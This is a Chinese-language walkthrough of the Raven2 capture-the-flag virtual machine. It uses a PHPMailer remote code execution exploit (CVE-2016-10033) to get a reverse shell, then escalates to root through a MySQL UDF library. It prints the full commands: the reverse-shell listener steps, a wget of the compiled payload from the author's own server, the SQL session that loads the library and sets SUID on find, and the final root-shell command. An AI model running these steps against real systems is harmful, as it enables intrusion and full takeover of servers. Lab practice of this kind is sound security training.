环境
Winodws10 x64
Oracle VM
Raven2.ova 靶机
靶机下载,利用Oracle VM打开靶机,进行测试。
主要内容
1、主机发现,建议使用nmap (netdiscover经常扫描不出来)、目录爆破,建议使用kali下的gobuster (windows下的御剑字典不是很全)
2、phpmailer远程代码执行漏洞(CVE-2016-10033)利用,反弹shell
3、查看wordpress的wp-config.php配置文件得到数据库账号密码,mysql数据库UDF提权(CVE-2016-6662)
一、测试步骤
1、利用nmap进行主机发现nmap -sn 192.168.3.1/24
(建议使用kali下的,我使用过win下的,贼慢)
访问192.168.3.54
,查看源代码,没有发现为什么信息,利用gobuster(下载)进行目录爆破./gobuster -u http://192.168.3.54 -wpy/usr/share/wordlists/dirb/common.txt
访问目录,得到flag1,同时发现网站目录位置:
发现有网站目录下还有PHPMailerAutoload.php
和VERSION
,查看VERSION
发现是5.2.16
。
2、利用kali搜索PHPMailer
的相关漏洞,searchsploit phpmailer
发现phpmailer
版本5.2.16
,可以利用,这里选择/usr/share/exploitdb/exploits/php/webapps/40974.py
目录下的python脚本CVE-2016-10033(个人感觉python未来语言)
脚本开始加上# -*- coding: utf-8 -*-
防止编码报错。运行python 40974.py
构造好网页,点击http://192.168.3.54/contact.php
触发生成log1n.php
,kali监听4444
端口,访问http://192.168.3.54/log1n.php
用python切换到交互shellpython -c 'import pty;pty.spawn("/bin/bash")'
全局搜索find / -name "flag*" | grep -v Permission | grep -v "No such"
直接查看得到flag2,访问flag3图片可得flag3。
3、利用LinEnum查看linux信息,查看wordpress中wp-config.php配置cat wp-config.php
登录数据库mysql –u root -p
进行登录,查看数据库版本,
发现可对数据库进行提权,kali下载提权CVE-2016-6662
wget https://www.exploit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so eseudf.so
自己搭建服务器(看雪的KSA),将wget http://xx.xx.xx.xx/eseudf.so
下载,将其移动到/tmp
目录下。进入数据库开始提权准备
mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.00 sec)
mysql> insert into foo values(load_file('/tmp/eseudf.so'));
insert into foo values(load_file('/tmp/eseudf.so'));
Query OK, 1 row affected (0.00 sec)
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/eseudf.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/eseudf.so';
Query OK, 1 row affected (0.00 sec)
mysql> create function do_system returns integer soname 'eseudf.so';
create function do_system returns integer soname 'eseudf.so';
Query OK, 0 rows affected (0.00 sec)
mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+-----------+----------+
| name | ret | dl | type |
+-----------+-----+-----------+----------+
| do_system | 2 | eseudf.so | function |
+-----------+-----+-----------+----------+
1 row in set (0.00 sec)
mysql> select do_system('chmod u+s /usr/bin/find');
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.00 sec)
mysql> exit;
最后进行提权find / -exec "/bin/sh" \;
完成测试。